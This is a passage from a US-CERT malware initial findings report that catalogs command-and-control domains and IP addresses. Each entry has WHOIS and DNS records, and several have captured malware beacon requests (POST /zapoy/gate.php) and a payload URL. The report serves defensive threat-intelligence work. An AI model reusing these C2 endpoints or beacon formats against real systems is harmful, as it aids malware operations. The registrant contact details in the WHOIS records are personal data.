OrgNOCPhone:  1-435-755-3433 OrgNOCEmail:  nocuk2group.com OrgNOCRef:    https[:]//whois.arin.net/rest/poc/NOC12189-ARIN OrgTechHandle: WESTH1-ARIN OrgTechName:   WestHost Inc OrgTechPhone:  1-435-755-3433 OrgTechEmail:  nocuk2group.com OrgTechRef:    https[:]//whois.arin.net/rest/poc/WESTH1-ARIN OrgAbuseHandle: WESTH2-ARIN OrgAbuseName:   WestHost Abuse OrgAbusePhone:  1-435-755-3433 OrgAbuseEmail:  abuseuk2group.com OrgAbuseRef:    https[:]//whois.arin.net/rest/poc/WESTH2-ARIN RTechHandle: WESTH1-ARIN RTechName:   WestHost Inc RTechPhone:  1-435-755-3433 RTechEmail:  nocuk2group.com RTechRef:    https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RNOCHandle: WESTH1-ARIN RNOCName:   WestHost Inc RNOCPhone:  1-435-755-3433 RNOCEmail:  nocuk2group.com RNOCRef:    https[:]//whois.arin.net/rest/poc/WESTH1-ARIN RAbuseHandle: WESTH2-ARIN RAbuseName:   WestHost Abuse RAbusePhone:  1-435-755-3433 RAbuseEmail:  abuseuk2group.com RAbuseRef:    https[:]//whois.arin.net/rest/poc/WESTH2-ARIN DNS records US-CERT MIFR-10105049-Update2 36 of 63 name class type data time to live cderlearn.com IN MX preference: 0 exchange: cderlearn.com 14400s (04:00:00) cderlearn.com IN SOA server: ns1.westservers.net email: hostmasterwestservers.net serial: 2016020303 refresh: 86400 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) cderlearn.com IN NS ns2.westservers.net 86400s (1.00:00:00) cderlearn.com IN NS ns1.westservers.net 86400s (1.00:00:00) cderlearn.com IN A 209.236.67.159 14400s (04:00:00) 159.67.236.209.in-addr.arpa IN PTR dl-573-57.slc.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN SOA server: ns1.westdc.net email: hostmasterwestdc.net serial: 2010074157 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns3.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns1.westdc.net 86400s (1.00:00:00) 67.236.209.in-addr.arpa IN NS ns2.westdc.net 86400s (1.00:00:00) Relationships (D) cderlearn.com Characterized_By (W) Address lookup (D) cderlearn.com Connected_From (F) 9acba7e5f972cdd722541a23ff314ea81ac35d5c0 c758eb708fb6e2cc4f598a0 (ae7e3) (D) cderlearn.com Related_To (H) POST /search.cfm HTT (D) cderlearn.com Related_To (H) POST /search.cfm HTT (D) cderlearn.com Related_To (I) 209.236.67.159 Description Identified Command and Control location.
wilcarobbe.com Ports 80 HTTP Sessions POST /zapoy/gate.php HTTP/1.0 Host: wilcarobbe.com Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
X..3S3.S..?..
)........
V....H...4.......OGf.
L..fB.N.v[H.b_...w......j5 Whois Address lookup US-CERT MIFR-10105049-Update2 37 of 63 lookup failed wilcarobbe.com A temporary error occurred during the lookup.
Trying again may succeed.
Domain Whois record Queried whois.internic.net with dom wilcarobbe.com... Domain Name: WILCAROBBE.COM Registrar: BIZCN.COM, INC.
Sponsoring Registrar IANA ID: 471 Whois Server: whois.bizcn.com Referral URL: http[:]//www[.
]bizcn.com Name Server: NS0.XTREMEWEB.DE Name Server: NS3.XTREMEWEB.DE Status: clientDeleteProhibited https[:]//icann.org/eppclientDeleteProhibited Status: clientTransferProhibited https[:]//icann.org/eppclientTransferProh bited Updated Date: 07-nov-2016 Creation Date: 11-apr-2016 Expiration Date: 11-apr-2017 Last update of whois database: Mon, 16 Jan 2017 13:05:45 GMT Queried whois.bizcn.com with wilcarobbe.com... Domain name: wilcarobbe.com Registry Domain ID: 2020708223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.bizcn.com Registrar URL: http[:]//www[.
]bizcn.com Updated Date: 2016-04-11T17:42:02Z Creation Date: 2016-04-11T17:42:00Z Registrar Registration Expiration Date: 2017-04-11T17:42:00Z Registrar: Bizcn.com,Inc.
Registrar IANA ID: 471 Registrar Abuse Contact Email: abusebizcn.com Registrar Abuse Contact Phone: 86.5922577888 Reseller: Cnobin Technology HK Limited Domain Status: clientDeleteProhibited (http[:]//www[.
]icann.org/eppclientDeleteProhibited) Domain Status: clientTransferProhibited (http[:]//www[.
]icann.org/eppclientTransferProhibited) Registry Registrant ID: Registrant Name: Arsen Ramzanov Registrant Organization: NA Registrant Street: Zlatoustskaya str, 14 fl 2 Registrant City: Sadovoye Registrant State/Province: Groznenskaya obl Registrant Postal Code: 366041 Registrant Country: ru Registrant Phone: 7.4959795033 Registrant Phone Ext: Registrant Fax: 7.4959795033 Registrant Fax Ext: Registrant Email: arsen.ramzanovyandex.ru Registry Admin ID: Admin Name: Arsen Ramzanov Admin Organization: NA Admin Street: Zlatoustskaya str, 14 fl 2 Admin City: Sadovoye Admin State/Province: Groznenskaya obl Admin Postal Code: 366041 Admin Country: ru Admin Phone: 7.4959795033 Admin Phone Ext: Admin Fax: 7.4959795033 Admin Fax Ext: Admin Email: arsen.ramzanovyandex.ru Registry Tech ID: Tech Name: Arsen Ramzanov Tech Organization: NA Tech Street: Zlatoustskaya str, 14 fl 2 Tech City: Sadovoye Tech State/Province: Groznenskaya obl Tech Postal Code: 366041 Tech Country: ru Tech Phone: 7.4959795033 Tech Phone Ext: Tech Fax: 7.4959795033 Tech Fax Ext: US-CERT MIFR-10105049-Update2 38 of 63 Tech Email: arsen.ramzanovyandex.ru Name Server: ns0.xtremeweb.de Name Server: ns3.xtremeweb.de DNSSEC: unsignedDelegation URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ Last update of WHOIS database: 2017-01-16T13:06:08Z Network Whois record Dont have an IP address for which to get a record DNS records DNS query for wilcarobbe.com returned an error from the server: ServerFailure No records to display Relationships (D) wilcarobbe.com Characterized_By (W) Address lookup (D) wilcarobbe.com Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) wilcarobbe.com Related_To (H) POST /zapoy/gate.php (D) wilcarobbe.com Related_To (P) 80 Description Identified Command and Control Location.
one2shoppee.com Ports 80 Whois Address lookup canonical name one2shoppee.com.
aliases addresses 2604:5800:0:23::8 69.195.129.72 Domain Whois record Queried whois.internic.net with dom one2shoppee.com... Domain Name: ONE2SHOPPEE.COM Registrar: DYNADOT, LLC Sponsoring Registrar IANA ID: 472 Whois Server: whois.dynadot.com Referral URL: http[:]//www[.
]dynadot.com Name Server: NS1.DYNADOT.COM Name Server: NS2.DYNADOT.COM Status: clientTransferProhibited https[:]//icann.org/eppclientTransferProh bited Updated Date: 05-jan-2017 Creation Date: 05-jan-2017 Expiration Date: 05-jan-2018 Last update of whois database: Mon, 16 Jan 2017 13:01:15 GMT Queried whois.dynadot.com with one2shoppee.com... Domain Name: ONE2SHOPPEE.COM Registry Domain ID: 2087544116_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.dynadot.com Registrar URL: http[:]//www[.
]dynadot.com Updated Date: 2017-01-05T10:40:34.0Z Creation Date: 2017-01-05T10:40:32.0Z Registrar Registration Expiration Date: 2018-01-05T10:40:32.0Z Registrar: DYNADOT LLC Registrar IANA ID: 472 Registrar Abuse Contact Email: abusedynadot.com Registrar Abuse Contact Phone: 1.6502620100 Domain Status: clientTransferProhibited Registry Registrant ID: Registrant Name: Authorized Representative Registrant Organization: Kleissner  Associates s.r.o.
Registrant Street: Na strzi 1702/65 Registrant City: Praha Registrant Postal Code: 140 00 US-CERT MIFR-10105049-Update2 39 of 63 Registrant Country: CZ Registrant Phone: 420.00000000 Registrant Email: domainsvirustracker.info Registry Admin ID: Admin Name: Authorized Representative Admin Organization: Kleissner  Associates s.r.o.
Admin Street: Na strzi 1702/65 Admin City: Praha Admin Postal Code: 140 00 Admin Country: CZ Admin Phone: 420.00000000 Admin Email: domainsvirustracker.info Registry Tech ID: Tech Name: Authorized Representative Tech Organization: Kleissner  Associates s.r.o.
Tech Street: Na strzi 1702/65 Tech City: Praha Tech Postal Code: 140 00 Tech Country: CZ Tech Phone: 420.00000000 Tech Email: domainsvirustracker.info Name Server: ns1.dynadot.com Name Server: ns2.dynadot.com DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http[:]//wdprs.internic.net/ Last update of WHOIS database: 2017-01-16 04:56:51 -0800 Network Whois record Whois query for 69.195.129.72 failed: TimedOut Queried whois.arin.net with n 69.195.129.72... NetRange:       69.195.128.0 - 69.195.159.255 CIDR:           69.195.128.0/19 NetName:        JOESDC-01 NetHandle:      NET-69-195-128-0-1 Parent:         NET69 (NET-69-0-0-0-0) NetType:        Direct Allocation OriginAS:       AS19969 Organization:   Joes Datacenter, LLC (JOESD) RegDate:        2010-07-09 Updated:        2015-03-06 Ref:            https[:]//whois.arin.net/rest/net/NET-69-195-128-0-1 OrgName:        Joes Datacenter, LLC OrgId:          JOESD Address:        1325 Tracy Ave City:           Kansas City StateProv:      MO PostalCode:     64106 Country:        US RegDate:        2009-08-21 Updated:        2014-06-28 Ref:            https[:]//whois.arin.net/rest/org/JOESD ReferralServer:  rwhois://support.joesdatacenter.com:4321 OrgAbuseHandle: NAA25-ARIN OrgAbuseName:   Network Abuse Administrator OrgAbusePhone:  1-816-726-7615 OrgAbuseEmail:  securityjoesdatacenter.com OrgAbuseRef:    https[:]//whois.arin.net/rest/poc/NAA25-ARIN OrgTechHandle: JPM84-ARIN OrgTechName:   Morgan, Joe Patrick OrgTechPhone:  1-816-726-7615 OrgTechEmail:  joejoesdatacenter.com OrgTechRef:    https[:]//whois.arin.net/rest/poc/JPM84-ARIN OrgNOCHandle: JPM84-ARIN OrgNOCName:   Morgan, Joe Patrick OrgNOCPhone:  1-816-726-7615 OrgNOCEmail:  joejoesdatacenter.com OrgNOCRef:    https[:]//whois.arin.net/rest/poc/JPM84-ARIN RAbuseHandle: NAA25-ARIN RAbuseName:   Network Abuse Administrator RAbusePhone:  1-816-726-7615 RAbuseEmail:  securityjoesdatacenter.com RAbuseRef:    https[:]//whois.arin.net/rest/poc/NAA25-ARIN US-CERT MIFR-10105049-Update2 40 of 63 RNOCHandle: JPM84-ARIN RNOCName:   Morgan, Joe Patrick RNOCPhone:  1-816-726-7615 RNOCEmail:  joejoesdatacenter.com RNOCRef:    https[:]//whois.arin.net/rest/poc/JPM84-ARIN RTechHandle: JPM84-ARIN RTechName:   Morgan, Joe Patrick RTechPhone:  1-816-726-7615 RTechEmail:  joejoesdatacenter.com RTechRef:    https[:]//whois.arin.net/rest/poc/JPM84-ARIN DNS records DNS query for 72.129.195.69.in-addr.arpa returned an error from the server: NameError DNS query for 8.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.2.0.0.0.0.0.0.0.0.8.5.4.0.6.2.ip6.arpa returned an error from the server: NameError name class type data time to live one2shoppee.com IN SOA server: ns1.dynadot.com email: hostmasterone2shoppee.com serial: 1484571411 refresh: 16384 retry: 2048 expire: 1048576 minimum ttl: 2560 2560s (00:42:40) one2shoppee.com IN NS ns1.dynadot.com 10800s (03:00:00) one2shoppee.com IN NS ns2.dynadot.com 10800s (03:00:00) one2shoppee.com IN AAAA 2604:5800:0:23::8 10800s (03:00:00) one2shoppee.com IN A 69.195.129.72 10800s (03:00:00) Relationships (D) one2shoppee.com Characterized_By (W) Address lookup (D) one2shoppee.com Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) one2shoppee.com Related_To (P) 80 Description Identified Command and Control Location.
ritsoperrol.ru Ports 80 HTTP Sessions POST /zapoy/gate.php HTTP/1.0 Host: ritsoperrol.ru Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
X..3S3.S..?..
)........
V....H...4.......OGf.
L..fB.N.v[H.b_...w......j5 Whois Address lookup lookup failed ritsoperrol.ru A temporary error occurred during the lookup.
Trying again may succeed.
Domain Whois record Queried whois.nic.ru with ritsoperrol.ru... No entries found for the selected source(s).
US-CERT MIFR-10105049-Update2 41 of 63 Last update of WHOIS database: 2017.01.16T13:04:09Z Network Whois record Dont have an IP address for which to get a record DNS records DNS query for ritsoperrol.ru returned an error from the server: ServerFailure No records to display Relationships (D) ritsoperrol.ru Characterized_By (W) Address lookup (D) ritsoperrol.ru Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) ritsoperrol.ru Related_To (P) 80 (D) ritsoperrol.ru Related_To (H) POST /zapoy/gate.php Description Identified Command and Control Location.
littjohnwilhap.ru Ports 80 HTTP Sessions POST /zapoy/gate.php HTTP/1.0 Host: littjohnwilhap.ru Accept: / Accept-Encoding: identity, q0 Accept-Language: en-US Content-Length: 196 Content-Type: application/octet-stream Connection: close Content-Encoding: binary User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) ...[xXP..YG.....4...d...S.qO....4.....v..8 ..Y.u.
X..3S3.S..?..
)........
V....H...4.......OGf.
L..fB.N.v[H.b_...w......j5 Whois Address lookup lookup failed littjohnwilhap.ru Could not find an IP address for this domain name.
Domain Whois record Queried whois.nic.ru with littjohnwilhap.ru... No entries found for the selected source(s).
Last update of WHOIS database: 2017.01.16T13:05:16Z Network Whois record Dont have an IP address for which to get a record DNS records DNS query for littjohnwilhap.ru returned an error from the server: NameError No records to display Relationships (D) littjohnwilhap.ru Characterized_By (W) Address lookup (D) littjohnwilhap.ru Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) littjohnwilhap.ru Related_To (H) POST /zapoy/gate.php (D) littjohnwilhap.ru Related_To (P) 80 Description US-CERT MIFR-10105049-Update2 42 of 63 Identified Command and Control Location.
insta.reduct.ru Ports 80 Whois Address lookup canonical name insta.reduct.ru.
aliases addresses 146.185.161.126 Domain Whois record Queried whois.nic.ru with reduct.ru... domain:       REDUCT.RU nserver:      ns1.spaceweb.ru nserver:      ns2.spaceweb.ru state:        REGISTERED, DELEGATED person:       Private person admin-contact:https[:]//www[.
]nic.ru/cgi/whois_webmail.cgi?domainREDUCT.RU registrar:    RU-CENTER-RU created:      2009.03.13 paid-till:    2017.03.13 source:       RU-CENTER Last update of WHOIS database: 2017.01.16T13:00:25Z Network Whois record Queried whois.ripe.net with -B 146.185.161.126... Information related to 146.185.160.0 - 146.185.167.255 Abuse contact for 146.185.160.0 - 146.185.167.255 is abusedigitalocean.com inetnum:        146.185.160.0 - 146.185.167.255 netname:        DIGITALOCEAN-AMS-3 descr:          Digital Ocean, Inc. country:        NL admin-c:        PT7353-RIPE tech-c:         PT7353-RIPE status:         ASSIGNED PA mnt-by:         digitalocean mnt-lower:      digitalocean mnt-routes:     digitalocean created:        2013-09-17T17:13:25Z last-modified:  2015-11-20T14:45:22Z source:         RIPE person:         Network Operations address:        101 Ave of the Americas, 10th Floor, New York, NY 10013 phone:          13478756044 nic-hdl:        PT7353-RIPE mnt-by:         digitalocean created:        2015-03-11T16:37:07Z last-modified:  2015-11-19T15:57:21Z source:         RIPE e-mail:         nocdigitalocean.com org:            ORG-DOI2-RIPE This query was served by the RIPE Database Query Service version 1.88 (WAGYU) DNS records DNS query for 126.161.185.146.in-addr.arpa returned an error from the server: NameError name class type data time to live insta.reduct.ru IN A 146.185.161.126 600s(00:10:00) reduct.ru IN SOA server: ns1.spaceweb.ru email: dns1sweb.ru serial: 2010022878 refresh: 28800 retry: 7200 expire: 604800 minimum ttl: 600 600s(00:10:00) reduct.ru IN A 77.222.42.238 600s(00:10:00) reduct.ru IN NS ns3.spaceweb.pro 600s(00:10:00) reduct.ru IN NS ns1.spaceweb.ru 600s(00:10:00) US-CERT MIFR-10105049-Update2 43 of 63 reduct.ru IN NS ns2.spaceweb.ru 600s(00:10:00) reduct.ru IN NS ns4.spaceweb.pro 600s(00:10:00) reduct.ru IN MX preference: 10 exchange: mx1.spaceweb.ru 600s(00:10:00) reduct.ru IN MX preference: 20 exchange: mx2.spaceweb.ru 600s(00:10:00) Relationships (D) insta.reduct.ru Characterized_By (W) Address lookup (D) insta.reduct.ru Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) insta.reduct.ru Related_To (P) 80 (D) insta.reduct.ru Related_To (I) 146.185.161.126 Description Identified Command and Control Location.
editprod.waterfilter.in.ua Ports 80 Whois Address lookup canonical name editprod.waterfilter.in.ua.
aliases addresses 176.114.0.120 Domain Whois record Queried whois.ua with waterfilter.in.ua... request from 209.200.70.26 This is the Ukrainian Whois query server I.
The Whois is subject to Terms of use See https[:]//hostmaster.ua/services/  The object shown below is NOT in the UANIC database.
It has been obtained by querying a remote server: (whois.in.ua) at port 43.
REDIRECT BEGIN In.
UA whois server.
(
whois.in.ua) All questions regarding this service please send to helpwhois.in.ua To search for domains and In.
UA maintainers using the web, visit http[:]//whois.in.ua domain:      waterfilter.in.ua descr:       waterfilter.in.ua admin-c:     THST-UANIC tech-c:      THST-UANIC status:      OK-UNTIL 20170310000000 nserver:     ns1.thehost.com.ua nserver:     ns2.thehost.com.ua nserver:     ns3.thehost.com.ua mnt-by:      THEHOST-MNT-INUA mnt-lower:   THEHOST-MNT-INUA changed:     hostmasterthehost.com.ua 20160224094245 source:      INUA REDIRECT END Network Whois record Queried whois.ripe.net with -B 176.114.0.120... Information related to 176.114.0.0 - 176.114.15.255 Abuse contact for 176.114.0.0 - 176.114.15.255 is abusethehost.ua inetnum:        176.114.0.0 - 176.114.15.255 netname:        THEHOST-NETWORK-3 country:        UA org:            ORG-FSOV1-RIPE US-CERT MIFR-10105049-Update2 44 of 63 admin-c:        SA7501-RIPE tech-c:         SA7501-RIPE status:         ASSIGNED PI mnt-by:         RIPE-NCC-END-MNT mnt-by:         THEHOST-MNT mnt-routes:     THEHOST-MNT mnt-domains:    THEHOST-MNT created:        2012-04-10T13:34:51Z last-modified:  2016-04-14T10:45:42Z source:         RIPE sponsoring-org: ORG-NL64-RIPE organisation:   ORG-FSOV1-RIPE org-name:       FOP Sedinkin Olexandr Valeriyovuch org-type:       other address:        08154, Ukraine, Boyarka, Belogorodskaya str.,
11a e-mail:         infothehost.ua abuse-c:        AR19055-RIPE abuse-mailbox:  abusethehost.ua remarks:        ----------------------------------------------------- remarks:        Hosting Provider TheHost remarks:        ----------------------------------------------------- remarks:        For abuse/spam issues contact abusethehost.ua remarks:        For general/sales questions contact infothehost.ua remarks:        For technical support contact supportthehost.ua remarks:        ----------------------------------------------------- phone:          380 44 222-9-888 phone:          7 499 403-36-28 fax-no:         380 44 222-9-888 ext.
4 admin-c:        SA7501-RIPE mnt-ref:        THEHOST-MNT mnt-by:         THEHOST-MNT created:        2011-03-01T10:48:14Z last-modified:  2015-11-29T21:16:15Z source:         RIPE person:         Sedinkin Alexander address:        Ukraine, Boyarka, Belogorodskaya str.,
11a phone:          380 44 222-9-888 ext.
213 address:        UKRAINE nic-hdl:        SA7501-RIPE mnt-by:         THEHOST-MNT created:        2011-03-01T10:36:18Z last-modified:  2015-11-29T21:15:42Z source:         RIPE Information related to 176.114.0.0/22AS56485 route:          176.114.0.0/22 descr:          FOP Sedinkin Olexandr Valeriyovuch origin:         AS56485 mnt-by:         THEHOST-MNT created:        2014-04-26T22:55:50Z last-modified:  2014-04-26T22:58:13Z source:         RIPE This query was served by the RIPE Database Query Service version 1.88 (ANGUS) DNS records DNS query for 120.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live editprod.waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN MX preference: 20 exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN TXT vspf1 ip4:176.114.0.120 a mx all3600s (01:00:00) waterfilter.in.ua IN NS ns2.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN SOA server: ns1.thehost.com.ua email: hostmasterthehost.com.ua serial: 2015031414 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 US-CERT MIFR-10105049-Update2 45 of 63 3600s (01:00:00) waterfilter.in.ua IN NS ns1.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: 10 exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN NS ns3.thehost.com.ua 3600s (01:00:00) 120.0.114.176.in-addr.arpa IN PTR s12.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmasterthehost.com.ua serial: 2014044192 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) Relationships (D) editprod.waterfilter.in.ua Characterized_By (W) Address lookup (D) editprod.waterfilter.in.ua Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) editprod.waterfilter.in.ua Related_To (P) 80 (D) editprod.waterfilter.in.ua Related_To (I) 176.114.0.120 Description Identified Command and Control Location.
mymodule.waterfilter.in.ua/system/logs/xtool.exe Ports 80 Whois Address lookup canonical name mymodule.waterfilter.in.ua.
aliases addresses 176.114.0.157 Domain Whois record Queried whois.ua with waterfilter.in.ua... request from 209.200.105.145 This is the Ukrainian Whois query server F. The Whois is subject to Terms of use See https[:]//hostmaster.ua/services/  The object shown below is NOT in the UANIC database.
It has been obtained by querying a remote server: (whois.in.ua) at port 43.
REDIRECT BEGIN In.
UA whois server.
(
whois.in.ua) All questions regarding this service please send to helpwhois.in.ua To search for domains and In.
UA maintainers using the web, visit http[:]//whois.in.ua domain:      waterfilter.in.ua descr:       waterfilter.in.ua admin-c:     THST-UANIC tech-c:      THST-UANIC status:      OK-UNTIL 20170310000000 nserver:     ns1.thehost.com.ua nserver:     ns2.thehost.com.ua nserver:     ns3.thehost.com.ua mnt-by:      THEHOST-MNT-INUA mnt-lower:   THEHOST-MNT-INUA changed:     hostmasterthehost.com.ua 20160224094245 US-CERT MIFR-10105049-Update2 46 of 63 source:      INUA REDIRECT END Network Whois record Queried whois.ripe.net with -B 176.114.0.157... Information related to 176.114.0.0 - 176.114.15.255 Abuse contact for 176.114.0.0 - 176.114.15.255 is abusethehost.ua inetnum:        176.114.0.0 - 176.114.15.255 netname:        THEHOST-NETWORK-3 country:        UA org:            ORG-FSOV1-RIPE admin-c:        SA7501-RIPE tech-c:         SA7501-RIPE status:         ASSIGNED PI mnt-by:         RIPE-NCC-END-MNT mnt-by:         THEHOST-MNT mnt-routes:     THEHOST-MNT mnt-domains:    THEHOST-MNT created:        2012-04-10T13:34:51Z last-modified:  2016-04-14T10:45:42Z source:         RIPE sponsoring-org: ORG-NL64-RIPE organisation:   ORG-FSOV1-RIPE org-name:       FOP Sedinkin Olexandr Valeriyovuch org-type:       other address:        08154, Ukraine, Boyarka, Belogorodskaya str.,
11a e-mail:         infothehost.ua abuse-c:        AR19055-RIPE abuse-mailbox:  abusethehost.ua remarks:        ----------------------------------------------------- remarks:        Hosting Provider TheHost remarks:        ----------------------------------------------------- remarks:        For abuse/spam issues contact abusethehost.ua remarks:        For general/sales questions contact infothehost.ua remarks:        For technical support contact supportthehost.ua remarks:        ----------------------------------------------------- phone:          380 44 222-9-888 phone:          7 499 403-36-28 fax-no:         380 44 222-9-888 ext.
4 admin-c:        SA7501-RIPE mnt-ref:        THEHOST-MNT mnt-by:         THEHOST-MNT created:        2011-03-01T10:48:14Z last-modified:  2015-11-29T21:16:15Z source:         RIPE person:         Sedinkin Alexander address:        Ukraine, Boyarka, Belogorodskaya str.,
11a phone:          380 44 222-9-888 ext.
213 address:        UKRAINE nic-hdl:        SA7501-RIPE mnt-by:         THEHOST-MNT created:        2011-03-01T10:36:18Z last-modified:  2015-11-29T21:15:42Z source:         RIPE Information related to 176.114.0.0/22AS56485 route:          176.114.0.0/22 descr:          FOP Sedinkin Olexandr Valeriyovuch origin:         AS56485 mnt-by:         THEHOST-MNT created:        2014-04-26T22:55:50Z last-modified:  2014-04-26T22:58:13Z source:         RIPE This query was served by the RIPE Database Query Service version 1.88 (HEREFORD) DNS records DNS query for 157.0.114.176.in-addr.arpa failed: TimedOut name class type data time to live mymodule.waterfilter.in.ua IN A 176.114.0.157 3600s (01:00:00) waterfilter.in.ua IN SOA server: ns1.thehost.com.ua email: hostmasterthehost.com.ua serial: 2015031414 US-CERT MIFR-10105049-Update2 47 of 63 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) waterfilter.in.ua IN NS ns2.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: 20 exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN TXT vspf1 ip4:176.114.0.120 a mx all3600s (01:00:00) waterfilter.in.ua IN NS ns3.thehost.com.ua 3600s (01:00:00) waterfilter.in.ua IN MX preference: 10 exchange: mail.waterfilter.in.ua 3600s (01:00:00) waterfilter.in.ua IN A 176.114.0.120 3600s (01:00:00) waterfilter.in.ua IN NS ns1.thehost.com.ua 3600s (01:00:00) 157.0.114.176.in-addr.arpa IN PTR waterfilter.in.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns4.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns1.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN SOA server: noc.thehost.com.ua email: hostmasterthehost.com.ua serial: 2014044197 refresh: 10800 retry: 3600 expire: 604800 minimum ttl: 86400 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns2.thehost.com.ua 3600s (01:00:00) 0.114.176.in-addr.arpa IN NS ns3.thehost.com.ua 3600s (01:00:00) -- end -- Relationships (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (P) 80 (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Characterized_By (W) Address lookup (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Connected_From (F) 9f918fb741e951a10e68ce6874b839aef5a26d604 86db31e509f8dcaa13acec5 (617ba) (D) mymodule.waterfilter.in.ua/system /logs/xtool.exe Related_To (I) 176.114.0.157 Description Identified Command and Control Location.
IPs 204.12.12.40 URI private.directinvesting.com Whois Address lookup lookup failed 204.12.12.40 Could not find a domain name corresponding to this IP address.
Domain Whois record Dont have a domain name for which to get a record Network Whois record Queried whois.arin.net with n  NET-204-12-12-32-1... NetRange:       204.12.12.32 - 204.12.12.63 CIDR:           204.12.12.32/27 NetName:        THEMONEYPAPERINC NetHandle:      NET-204-12-12-32-1 US-CERT MIFR-10105049-Update2 48 of 63 Parent:         HOSTMYSITE (NET-204-12-0-0-1) NetType:        Reassigned OriginAS:       AS20021 Customer:       THE MONEYPAPER INC. (
C02687180) RegDate:        2011-02-03 Updated:        2011-02-03 Ref:            https[:]//whois.arin.net/rest/net/NET-204-12-12-32-1 CustName:       THE MONEYPAPER INC.
Address:        555 THEODORE FREMD AVENUE SUITE B-103 City:           RYE StateProv:      NY PostalCode:     10580 Country:        US RegDate:        2011-02-03 Updated:        2011-03-19 Ref:            https[:]//whois.arin.net/rest/customer/C02687180 OrgNOCHandle: IPADM271-ARIN OrgNOCName:   IP Admin OrgNOCPhone:  1-302-731-4948 OrgNOCEmail:  ipadminhostmysite.com OrgNOCRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgTechHandle: IPADM271-ARIN OrgTechName:   IP Admin OrgTechPhone:  1-302-731-4948 OrgTechEmail:  ipadminhostmysite.com OrgTechRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN OrgAbuseHandle: ABUSE1072-ARIN OrgAbuseName:   Abuse OrgAbusePhone:  1-302-731-4948 OrgAbuseEmail:  abusehostmysite.com OrgAbuseRef:    https[:]//whois.arin.net/rest/poc/ABUSE1072-ARIN RNOCHandle: IPADM271-ARIN RNOCName:   IP Admin RNOCPhone:  1-302-731-4948 RNOCEmail:  ipadminhostmysite.com RNOCRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RTechHandle: IPADM271-ARIN RTechName:   IP Admin RTechPhone:  1-302-731-4948 RTechEmail:  ipadminhostmysite.com RTechRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN RAbuseHandle: IPADM271-ARIN RAbuseName:   IP Admin RAbusePhone:  1-302-731-4948 RAbuseEmail:  ipadminhostmysite.com RAbuseRef:    https[:]//whois.arin.net/rest/poc/IPADM271-ARIN DNS records DNS query for 40.12.12.204.in-addr.arpa returned an error from the server: NameError Relationships (I) 204.12.12.40 Characterized_By (W) Address lookup (I) 204.12.12.40 Related_To (D) private.directinvesting.com 209.236.67.159 URI cderlearn.com Whois Address 